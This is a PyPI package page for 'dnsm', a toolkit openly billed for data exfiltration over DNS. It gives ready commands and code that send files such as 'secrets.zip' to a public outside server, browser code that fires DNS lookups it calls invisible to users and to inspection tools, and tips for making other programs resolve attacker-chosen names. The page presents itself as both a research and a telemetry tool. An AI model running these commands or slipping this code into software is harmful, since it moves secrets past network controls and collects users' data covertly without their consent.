Skip to main content

DNS data exfiltration toolkit - Python bindings

Project description

dnsm ASCII logotype

Toolkit for Data Exfiltration via DNS

crates.io PyPI npm Rust Python

Quick Start

Encode data into DNS queries. Retrieve it on a server you control. Works from firewalled networks, CI runners, browsers -- anywhere DNS resolves.

# Send "hello world" via DNS to our public instance
echo "hello world" | dnsm

The client prints a mailbox ID (e.g. f8925edd7f13). Open your inbox in the browser to see the message arrive:

https://dnsm.re/#/inbox/f8925edd7f13 (replace with your mailbox ID)

Or retrieve it via DNS:

dig @dnsm.re f8925edd7f13.m.dnsm.re TXT +tcp +short

That's it. No TCP connection, no HTTP -- just DNS. The client LZMA-compresses your input, encodes it into DNS labels, and lets recursive resolvers carry the data to the server.

More examples

# Generate domain names without sending (inspect what gets encoded)
echo "secret message" | dnsm -n

# Send binary data
cat secrets.zip | dnsm

# Use an explicit mailbox ID
echo "hello" | dnsm a1b2c3d4e5f6

# Plain output (no colors)
echo "hello" | dnsm -p

[!NOTE] The zone defaults to k.dnsm.re (our public instance). Pass --zone to target your own server.

Install

cargo install dnsm                        # Rust (client binary)
pip install dnsm                          # Python
npm install -g @k-o-n-t-o-r/dnsm         # Node.js (Linux/macOS, x64/arm64)

Or download pre-built binaries from the latest release.


How It Works

Many environments block outbound TCP/HTTP but leave DNS resolution untouched -- firewalls, proxies, sandboxed runtimes, CI runners, browsers. DNS queries happen early in connection setup, before transport-level controls kick in, and a query can traverse the network even when no subsequent connection is possible.

dnsm exploits this: it encodes bytes into the labels of a domain name (think encoded_payload.k.dnsm.re) and lets recursive resolvers carry that name to a zone you control. The server reassembles chunks and decodes the original payload.

The protocol: inputs are LZMA-compressed, framed with headers, split into ordered chunks, and base32-encoded into valid hostname labels. Optional mailboxes provide inbox-style retrieval and multiplexing across messages and senders.

Browsers

The client also runs in browsers via WebAssembly. Depending on how you trigger resolution, lookups don't show up in browser DevTools and are invisible to users. Most traffic inspection tools (mitmproxy, Fiddler, Burp) don't capture DNS by default. Try our browser test to validate this.

See Privacy-Preserving Data Transmission for a white-hat use case.

CLI Help

dnsm-server --help
Logs queries, answers A records with a fixed IPv4 address, and can
reassemble dnsm payloads when a zone is configured. All runs persist
queries and decoded payloads to SQLite.

Examples:

- dnsm-server x.foo.bar
- dnsm-server x.foo.bar --bind 0.0.0.0:5300 --respond_with 127.0.0.1
- dnsm-server x.foo.bar --mailbox-zone m.example --tcp-mailbox --ans-ttl 30 --neg-ttl 300

Usage: dnsm-server [OPTIONS] <ZONE>

Arguments:
  <ZONE>
          Zone to treat as authoritative for dnsm payloads (required)

Options:
      --bind <ADDR>
          Address to bind (default: 0.0.0.0:53)

          [default: 0.0.0.0:53]

      --mailbox-zone <MBX_ZONE>
          Mailbox TXT zone (optional). When set, TXT queries for "<mailbox-hex>.<mailbox-zone>" will
          return accumulated messages for that mailbox from the SQLite database (when configured)

      --tcp-mailbox
          Enable DNS over TCP handler for mailbox TXT lookups only

      --respond_with <IP>
          IPv4 address to answer for A queries (default: 0.0.0.0)

          [default: 0.0.0.0]

      --log <PATH>
          Path to append diagnostic event logs (default: dnsm_queries.log) Note: queries themselves
          are persisted to SQLite (see --db)

          [default: dnsm_queries.log]

      --db <PATH>
          Path to a SQLite database for persistence (messages table is auto-created)

          [default: dnsm.db]

      --progress-every <N>
          Log progress every n unique chunks (n > 0)

      --gc-ms <MS>
          Garbage-collect inactive assemblies older than this many ms (default: 30000ms = 30s)

      --max-assemblies <COUNT>
          Maximum concurrent assembly sessions (prevents memory exhaustion, default: 10_000)

          [default: 10000]

      --ans-ttl <SEC>
          TTL for A-record answers (default: 0)

          [default: 0]

      --neg-ttl <SEC>
          TTL for negative answers with SOA (default: 300)

          [default: 300]

      --no-color
          Disable ANSI colors in stdout (pretty output is always on)

      --accept-ascii-only
          Accept only messages that decode to ASCII bytes; reject otherwise

      --no-response
          Process queries but send no responses when enabled

      --max-decompressed-bytes <BYTES>
          Maximum decompressed payload size in bytes (default: 12582912 = 12MB). Prevents
          decompression bomb attacks. Set to 0 to disable limit (unsafe)

          [default: 12582912]

      --rate-limit-qps <QPS>
          Maximum queries per second per IP address. Set to 0 to disable rate limiting. Aims to
          prevent UDP amplification/reflection attacks. Default: 1000 qps

          [default: 1000]

  -h, --help
          Print help (see a summary with '-h')
dnsm --help
Reads from stdin and emits DNS queries carrying the data, or prints
hostnames (one per chunk) when --dont-query is used.

Examples:

- echo 'hello' | dnsm
- echo 'hello' | dnsm abcdef123456
- echo 'hello' | dnsm abcdef123456 --zone x.foo.bar -n
- dnsm --ping
- head -c 200000 /dev/urandom | dnsm --resolver-ip 127.0.0.1:5353

Usage: dnsm [OPTIONS] [MAILBOX]

Arguments:
  [MAILBOX]
          Mailbox ID (exactly 12 hex chars). Random if omitted

Options:
      --zone <ZONE>
          Zone/apex the payload labels are appended to

          [default: k.dnsm.re]

      --resolver-ip <HOST[:PORT]>
          Send to this resolver (default: first nameserver in /etc/resolv.conf)

  -n, --dont-query
          Do not send; print hostnames (one per chunk)

      --await-reply-ms <MS>
          Wait up to this many ms for a reply to each query (0 disables)

          [default: 3000]

      --delay-ms <MS>
          Sleep this many ms between queries

          [default: 5]

      --sent-log <PATH>
          Append a human-readable send log to this file

      --random-mailbox
          Generate a random mailbox ID (conflicts with positional MAILBOX)

      --ping
          Send a minimal ping (no message content). Produces `<mailbox>.<zone>` (e.g.
          bf1c3a4a3694.k.dnsm.re)

      --debug
          Verbose progress to stderr

  -p, --plain
          Suppress colored progress output (plain text only)

      --no-color
          Disable ANSI colors

      --tagged-log
          Also write bracketed tags to --sent-log

  -h, --help
          Print help (see a summary with '-h')

JavaScript (Wasm) Client

The JS client is generated via wasm-bindgen and exposes helpers to turn bytes/strings into chunked domain names. After building WebAssembly (see build instructions), import and initialize the module, then call the helpers:

// Browser / ESM (vite, webpack, etc.)
import init, {
  domains_for_string,
  domains_for_string_with_mailbox,
  ping_domain,
} from "./web/src/lib/pkg-web/dnsm.js"; // path to generated pkg

await init(); // loads dnsm_bg.wasm next to dnsm.js

const zone = "k.example.com";
const msg = "hello from js";

// Without mailbox (auto session)
const domains = Array.from(domains_for_string(msg, zone));

// With mailbox (exactly 12 lowercase hex chars)
const mailbox = "050373323440";
const domainsWithMbx = Array.from(
  domains_for_string_with_mailbox(msg, zone, mailbox)
);

// Ping (minimal keepalive, no message content)
const pingHost = ping_domain(mailbox, zone);

// Optionally trigger DNS resolution in the browser (example method)
for (const h of domainsWithMbx) new Image().src = "https://" + h;

See BrowserTest.tsx for many in-browser resolution methods and usage examples.

Notes:

  • The functions return arrays of domain names (strings) that encode your data.
  • ping_domain returns a single domain name for a content-less keepalive query.
  • The same compression, chunking, and mailbox behavior as the CLI is used under the hood.
  • For Node/bundlers, you can also import from the pkg/ directory produced by the wasm build.

Python Client

Native Python bindings powered by PyO3. The same behavior as the Rust CLI, with no subprocess spawned.

Install

pip install dnsm

Wheels are published for Linux and macOS (x86_64 and arm64, CPython 3.9 to 3.14).

Library usage

import dnsm

# Encode data into DNS domain names
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re")
print(info.total_chunks)  # 1
print(domains[0])         # aaabz6esl3...k.dnsm.re

# With a mailbox
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re", "050373323440")

# Ping (content-less keepalive)
ping = dnsm.build_ping_domain("050373323440", "k.dnsm.re")

# Low-level helpers
compressed = dnsm.compress_lzma(b"some data")
encoded    = dnsm.base32_encode(b"\x00\x01\x02")
decoded    = dnsm.base32_decode(encoded)   # bytes or None
key        = dnsm.message_key48(b"payload") # u64
mid        = dnsm.message_id(b"payload")    # 16 bytes (BLAKE3)

# Validation
labels = dnsm.validate_zone("k.dnsm.re")      # list[str] or raises ValueError
canon  = dnsm.validate_mailbox("050373323440")  # str or None

CLI

A dnsm entry point mirrors the Rust CLI:

echo "hello world" | dnsm -n
echo "hello world" | dnsm --resolver-ip 127.0.0.1:5353 --delay-ms 2 --debug

Run dnsm --help for the full option list.


Running Your Own Server

# Start the server (binds UDP :5353, stores payloads in SQLite)
dnsm-server x.foo.bar --bind 0.0.0.0:5353 --respond_with 127.0.0.1

# In another terminal, send data to it
echo "hello world" | dnsm --zone x.foo.bar --resolver-ip 127.0.0.1:5353

# Check the database
sqlite3 dnsm.db "SELECT id, data FROM messages"

Domain Setup

  1. Register a short domain and provision a publicly reachable host.
  • Domain names have a maximum length, so shorter domains leave more space to encode payload data.
  1. Pick a short data zone (e.g., k.foo.bar) and create an NS record that points to your host. Optional: Also create a mailbox zone (e.g., m.foo.bar) for DNS TXT retrieval.

  2. Start dnsm-server on your host and pass the zone you selected.

Privacy-Preserving Data Transmission

DNS resolution inherently anonymizes the sender's identity. When a client performs a DNS lookup, the request traverses through one or more recursive resolvers before reaching the authoritative nameserver (terms and conditions apply). From the authoritative server's perspective, the query appears to originate from the recursive resolver - not the original client. This architectural characteristic means the recipient never observes the sender's IP address.

This property has practical applications for privacy-compliant telemetry and analytics, particularly in jurisdictions where IP addresses constitute personally identifiable information (PII) under data protection regulations such as the EU's GDPR. By transmitting telemetry data through DNS queries, organizations can collect usage metrics and analytics from client applications - including web browsers - without capturing or processing any PII. The receiving infrastructure logs only the queries themselves and the IP addresses of intermediate DNS resolvers, which are shared infrastructure and carry no user-identifying information.

Note: Factors such as the specificity of transmitted data, timestamp precision, and correlation with other data sources may affect the privacy characteristics of any implementation.

Programmatic Rust API

use dnsm::{build_domains_for_data, BuildOptions};

let data = b"exfiltrate me";
let zone = "k.dnsm.re";
let opts = BuildOptions { mailbox: Some(0x050373323440) };
let (domains, info) = build_domains_for_data(data, zone, &opts)?;
assert!(info.total_chunks >= 1);

Protocol Header

Section Wire Format Notes
Envelope LZMA input -> chunk framing (header + extras + payload) -> base32 labels (lowercase, no padding). Each label <= 63 bytes. Suffix the labels with the validated zone so the full QNAME stays under 255 bytes on the wire.
Chunk Header (v3) 8-bit flags [ping:1][chunked:1][mailbox:1][first:1][version:3][reserved:1], plus optional 16-bit big-endian remaining when chunked=1. version = 0x3; single-chunk messages use a 1-byte header; multi-chunk messages use 3 bytes. ping marks a content-less keepalive; first marks the opener of a multi-chunk stream.
Chunk Extras Single: optional 6-byte mailbox.
First multi: 6-byte message_key48, optional 6-byte mailbox.
Follow-up: 6-byte message_key48.
v3 message_key48 = BLAKE3("dnsm-msg-id\x00" || has_mb(1) || [mb(6)] || payload)[..6]; mailbox values are big-endian 48-bit when present. The key is now mailbox-aware so that the same payload with different mailboxes produces different assembly keys.
Ping 1-byte header (ping=1, mailbox=1) + 6-byte mailbox, no payload. Stored with message_type='ping' in the database. Pings are excluded from TXT mailbox responses but visible in the WebSocket/HTTP API.
Identifiers message_key48 binds multi-chunk assembly.
message_id = BLAKE3(decompressed_payload)[..16] for DB dedup.
Mailbox values are masked to 0x0000_FFFF_FFFF_FFFF; TXT paging accepts either the 12-hex prefix or the full 32-hex message_id. The legacy compute_message_key48() helper computes the v2 (payload-only) key; multi-chunk assembly uses the v3 mailbox-aware key.
Mailbox TXT Replies TXT RRs surface as <message_id_prefix>\t<raw payload bytes>. Prefix is the first 12 hex chars of message_id; oversized replies truncate gracefully and may set the TC bit as a paging hint. Only message rows are included (pings are excluded).

Finding DNS Call Sites

When looking for ways to trigger a specific program to resolve your domain names, a good heuristic is to check whether the executable imports common resolver entry points, then exercise code paths that reach them.

  • Common symbols: getaddrinfo, getnameinfo, gethostbyname, res_query (libresolv), or library-specific resolvers (e.g., c-ares).
  • Linux: nm -D /usr/sbin/squid | grep -E "getaddrinfo|getnameinfo|gethostbyname|res_query" or objdump -T /usr/sbin/squid | grep ...

Once you've identified a call site, typical triggers include providing a hostname (not an IP) in configuration (base URLs, webhook endpoints), setting proxy variables (HTTP_PROXY, HTTPS_PROXY, ALL_PROXY), or causing the app to load remote assets (updates, telemetry, images). These often funnel into the same resolver APIs and will emit DNS lookups that dnsm-server can observe.

Building From Source

If you prefer building dnsm locally:

  • Requirements: Rust (stable) and standard build tools. For the web demo, Node.js + npm.

  • Native binaries (release builds):

    • Client: cargo build --release --bin dnsm
    • Server: cargo build --release --bin dnsm-server --features sqlite
    • WS/API: cargo build --release --bin dnsm-ws --features "sqlite,ws-server"
  • Python bindings (requires maturin):

    • Dev install: maturin develop --features python
    • Build wheel: maturin build --release --features python
  • WebAssembly bindings for the JS client:

    • Install wasm-bindgen-cli once: cargo install wasm-bindgen-cli --locked
    • Build: bash scripts/build_webassembly.sh
    • The generated files land in web/src/lib/pkg-web/ and pkg/.
  • Web app (Svelte + Vite):

    • Dev server: npm install --prefix web && npm run dev --prefix web
    • Production build: npm run build --prefix web
  • Binaries end up in target/release/.

  • Optional Cargo features:

    • sqlite - required for dnsm-server and dnsm-ws (persistence, queries, views)
    • ws-server - enables the WebSocket/HTTP inbox
    • python - PyO3 bindings (used by maturin)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

dnsm-0.2.1.tar.gz (2.0 MB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

dnsm-0.2.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (298.6 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (278.5 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp314-cp314-macosx_11_0_arm64.whl (253.2 kB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

dnsm-0.2.1-cp314-cp314-macosx_10_12_x86_64.whl (273.7 kB view details)

Uploaded CPython 3.14macOS 10.12+ x86-64

dnsm-0.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (298.8 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (278.6 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp313-cp313-macosx_11_0_arm64.whl (253.4 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

dnsm-0.2.1-cp313-cp313-macosx_10_12_x86_64.whl (273.6 kB view details)

Uploaded CPython 3.13macOS 10.12+ x86-64

dnsm-0.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (298.4 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (278.4 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp312-cp312-macosx_11_0_arm64.whl (253.1 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

dnsm-0.2.1-cp312-cp312-macosx_10_12_x86_64.whl (273.4 kB view details)

Uploaded CPython 3.12macOS 10.12+ x86-64

dnsm-0.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (299.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (278.7 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp311-cp311-macosx_11_0_arm64.whl (253.4 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

dnsm-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl (274.3 kB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

dnsm-0.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (299.2 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (278.9 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp310-cp310-macosx_11_0_arm64.whl (253.5 kB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

dnsm-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl (274.4 kB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

dnsm-0.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (300.8 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ x86-64

dnsm-0.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (280.5 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ ARM64

dnsm-0.2.1-cp39-cp39-macosx_11_0_arm64.whl (254.7 kB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

dnsm-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl (275.9 kB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file dnsm-0.2.1.tar.gz.

File metadata

  • Download URL: dnsm-0.2.1.tar.gz
  • Upload date:
  • Size: 2.0 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1.tar.gz
Algorithm Hash digest
SHA256 97795942531c64da2a94c96f17172103153e42f0a8ca29c36a2d0c45e4eaea48
MD5 6d14611d122b64af40406f106ef15531
BLAKE2b-256 953d87ba659981dd25bfb3c701dfa92a0f6d487ec23dbbedbff7eb8d41f5a548

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1.tar.gz:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 01d6568c56b443419d7c59867e9133b56bb26a7c5e476d7cd1b2e6849eabb5df
MD5 e539e6464e0a2e530aa7f9ab5ad73a2d
BLAKE2b-256 bb0a1b6f63b261372d98d438e4481a546723344bca69a1f4a594e63c14043593

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 823be0288298645b45de3303039722833a333f805a5d0eb0e31dad3e2943dbda
MD5 c36326aa53ce1a30b9343db08f082844
BLAKE2b-256 3266600ec16570f0e7895eb9419be0c64be0f321fabac4c2a3e6366f530165f6

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp314-cp314-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 253.2 kB
  • Tags: CPython 3.14, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 339acc5ac09caaadd54a41b6c35a83ad755ec5cbb86625c697fd01aa726e6f1b
MD5 e2a73c32fddce3b1f93c925aea82a50e
BLAKE2b-256 2ad2df31df53320bc5f231e1a6fe84bed39d2fd620a3b81956daaf6b051747e3

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp314-cp314-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp314-cp314-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp314-cp314-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 64b1a7df174be88dc8bae59169fe75b04265f7f92fcdff937f5c4d65c38a27fa
MD5 a4655e215297dec208c7c3f2d5c00fae
BLAKE2b-256 7258a0973f26e0d27c23792e4b410facdf18c0de1c620dc9332c4bf1b3b4d339

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp314-cp314-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 2fba5992e97d03564cb6eeca7a08f9267a2e45bb35bde6e452c91136e8afe03b
MD5 f47aa41e85c8ed41c5bf21d52e3c900e
BLAKE2b-256 ca001c58d55819c737c5b4a2cee85460a92b3da651921667d5522d97f1f82d2e

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 20aa22a8567ce2f3d3b91af036027ea0a208bcaaa9f40ae83e3975b0aa71d375
MD5 5cdc21efd05ddabf938e19fb19710895
BLAKE2b-256 0672cc01f28456c39d1ad3fef51adab40470c835a9b10a19c0524fd87e1235c8

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp313-cp313-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 253.4 kB
  • Tags: CPython 3.13, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 263bff1be85b1ef34683c861aaccb2393bb1dd5fc261bdeb9e4a8b6ccf4263a8
MD5 f6df7fc173be39b1f938e158910b5984
BLAKE2b-256 6cacdc308c856cb5e0e5465369c0cfe8401748fc41df04bd37be10ff5d8e88c5

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp313-cp313-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp313-cp313-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp313-cp313-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 087c8e185a21b34523afcc7d64e47657c012148eee2c1a01d601024bd599545d
MD5 8a531c17574822756f4cf3a4fb1e9cc1
BLAKE2b-256 72749acc1e99ab83b501b49c8398125978593f22e83de0b76577098fbb5123af

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp313-cp313-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 8d1f1eeb1dba8651107c2b9cf84159d304608822b65967c4e979397a848624cf
MD5 7ddb3d06bba963aa58e8d9cea2884c9e
BLAKE2b-256 f1f49c938efebef0809a61629dfae13f9e697b61f93e777834992ab054d1e679

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 5a8dcf02630a726f2430ff09035977120a4b7b4ae9c58e468dfeb223cae3cbc0
MD5 fdc73bf789bc22a35706f42e90361f2e
BLAKE2b-256 670e9f9041746236cf3b4166c16f6b48e934cd4d6a12cc108c7f0c047582821a

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp312-cp312-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 253.1 kB
  • Tags: CPython 3.12, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 bda059fa9651b4f927424a453d7be5705381a17b1f9bca5661851f6ff8a7cfca
MD5 f70f82d7f768df7fe54c7ef689752b4a
BLAKE2b-256 de84c546ab498589780e10357616917d5e84ac5800e1f3afc5f9697fd712e2d5

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp312-cp312-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp312-cp312-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp312-cp312-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 9b8ed6d427b2070451c8f80c70bcd6a71699bef79eae03d11e792049c5c30d9b
MD5 b889518bc751ab5e1b656a1984eb674e
BLAKE2b-256 104fa88deaf0be96fb68658e18ca2e5a398a714ea60ec5f8d3411a92d2812c57

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp312-cp312-macosx_10_12_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 bd7955ef356cbc78ea188fb1c8a554a0b92d19abef37afba15f711e1c8772dc7
MD5 ad807993b13aaf62968da8d34f7105d4
BLAKE2b-256 86822abbb7482ec43c0c19898f16f88574d183612aeef0bd410fa84214b4e0d0

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 521fa9bf5a3960ff53c0912845f164b2b4019d92f1e8611fbbad5ed8ae276692
MD5 9300f8a00ca9de1fb0a7c89214c459fa
BLAKE2b-256 dbd9e082ee977fce5942a3905ac55ee038dacc0ebdb584304ef7366225330fcc

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.2.1-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

  • Download URL: dnsm-0.2.1-cp311-cp311-macosx_11_0_arm64.whl
  • Upload date:
  • Size: 253.4 kB
  • Tags: CPython 3.11, macOS 11.0+ ARM64
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.2.1-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 3908795efe2892b5d612f07115d64f6d4866c2acc4c76b7e29515bb681aab1a4
MD5 1fbc5ca2562c421f379997743aa21494
BLAKE2b-256 cdbd4dd6db10ca0d5fa1e1d07dba78fecd89681ebb7bb112aa0af7832026f917

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.2.1-cp311-cp311-macosx_11_0_arm64.whl:

Publisher: release.yml on k-o-n-t-o-r/dnsm

